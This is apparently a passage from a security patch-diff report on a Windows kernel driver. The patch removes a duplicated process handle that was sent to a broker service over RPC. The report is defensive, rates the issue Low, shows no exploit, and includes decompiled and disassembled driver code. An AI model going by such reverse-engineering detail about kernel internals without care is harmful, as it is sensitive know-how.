&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes an unnecessary duplication of a handle to the current (caller's) process and stops transmitting that handle across a kernel-mode RPC call to the broker service. This is a least-privilege / attack-surface-reduction hardening at the kernel-to-broker boundary. It is not a memory-corruption bug and no attacker-reachable exploit primitive was demonstrated.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Exposure of a process handle across a trust boundary / least-privilege violation (CWE-668, CWE-269)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; at &lt;code&gt;0x1C0006AB0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
When handling a brokered-event creation request, the unpatched driver calls &lt;code&gt;NtDuplicateObject((HANDLE)-1, (HANDLE)-1, (HANDLE)-1, &amp;amp;TargetHandle, 0x101000, 0, 0)&lt;/code&gt;. All three process/handle arguments are the current-process pseudo-handle (&lt;code&gt;-1&lt;/code&gt;), so this duplicates the current process into a real handle in the current process's handle table with access mask &lt;code&gt;0x101000&lt;/code&gt; (&lt;code&gt;SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt;). That handle value is then placed into the argument list of &lt;code&gt;NdrClientCall3&lt;/code&gt; (a client-side kernel RPC call) and sent to the broker service, after which the driver closes the handle with &lt;code&gt;NtClose&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The patch deletes the &lt;code&gt;NtDuplicateObject&lt;/code&gt; call, its &lt;code&gt;NtClose&lt;/code&gt; cleanup, and the handle argument to &lt;code&gt;NdrClientCall3&lt;/code&gt;; the RPC call now carries only the remaining event parameters (the broker type id &lt;code&gt;a1&lt;/code&gt;, the GUID, the SID, and the output buffers).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact assessment (why Low):&lt;/strong&gt;
- There is no memory corruption; this is purely a change in what capability is handed over an interface.
- The recipient is the broker service, which is the privileged party in this design. A handle to the caller's own process carrying only &lt;code&gt;PROCESS_QUERY_LIMITED_INFORMATION | SYNCHRONIZE&lt;/code&gt; gives a privileged broker nothing it could not already obtain about a less-privileged caller, so no privilege boundary is crossed in the escalation direction.
- The entry points (&lt;code&gt;BriCreateBrokeredEvent&lt;/code&gt; / &lt;code&gt;BriCreateBrokeredEventEx&lt;/code&gt;) are exported kernel routines that this driver services as an RPC client; the binary contains no IOCTL/device dispatch reaching them, so a direct unprivileged user-mode trigger is not established from these binaries.&lt;/p&gt;
&lt;p&gt;The honest characterization is therefore removal of an unnecessary process-handle exposure (least-privilege hardening), not a delivered fix for a demonstrable, reachable exploit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry Point &amp;amp; Internal Call Chain:&lt;/strong&gt;
1. A caller reaches the exported &lt;code&gt;BriCreateBrokeredEvent&lt;/code&gt; (&lt;code&gt;0x1C0006990&lt;/code&gt;) or &lt;code&gt;BriCreateBrokeredEventEx&lt;/code&gt; (&lt;code&gt;0x1C00069E0&lt;/code&gt;).
2. &lt;code&gt;BriCreateBrokeredEventEx&lt;/code&gt; calls the internal &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; (&lt;code&gt;0x1C0006AB0&lt;/code&gt;) at &lt;code&gt;0x1C0006A79&lt;/code&gt;.
3. In the unpatched build, &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; calls &lt;code&gt;NtDuplicateObject&lt;/code&gt; (&lt;code&gt;0x1C0006BB1&lt;/code&gt;), producing a real handle to the current process.
4. &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; passes that handle as an argument to &lt;code&gt;NdrClientCall3&lt;/code&gt; (&lt;code&gt;0x1C0006C91&lt;/code&gt;), transmitting it to the broker.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Decompilation Diff&lt;/h2&gt;
&lt;p&gt;The relevant portion of the real decompilation of &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; (&lt;code&gt;0x1C0006AB0&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED BripCreateBrokeredEvent @ 0x1C0006AB0 ---&lt;/span&gt;
&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlRunOnceExecuteOnce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;BrokerInternalClientInitOnce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BrpInitOnceRunOnceCallback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Duplicates a real handle to the current process (access 0x101000)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NtDuplicateObject&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x101000u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BripCreateRpcBindingHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlLengthSid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// duplicated process handle&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UuidEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_SmsRouterBrokerId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MIDL_STUBLESS_PROXY_INFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;off_1C000B5A0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MIDL_STUBLESS_PROXY_INFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;pProxyInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Handle (v17) passed to the broker over RPC:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NdrClientCall3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Binding&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*a1*/&lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...).&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NtClose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED BripCreateBrokeredEvent @ 0x1C0006AB0 ---&lt;/span&gt;
&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlRunOnceExecuteOnce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;BrokerInternalClientInitOnce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BrpInitOnceRunOnceCallback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// NtDuplicateObject removed entirely; no TargetHandle local remains.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BripCreateRpcBindingHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlLengthSid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// RPC call carries no process handle; a1 now sits in that slot:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NdrClientCall3&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;MIDL_STUBLESS_PROXY_INFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;pProxyInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                       &lt;/span&gt;&lt;span class="n"&gt;Binding&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...).&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// No NtClose: no handle is created.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;.asm&lt;/code&gt; disassembly is authoritative. The following are the exact instructions from &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; (&lt;code&gt;0x1C0006AB0&lt;/code&gt;) in the unpatched build.&lt;/p&gt;
&lt;h3&gt;Unpatched — NtDuplicateObject setup and call&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006B91&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;140&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_110&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006B96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
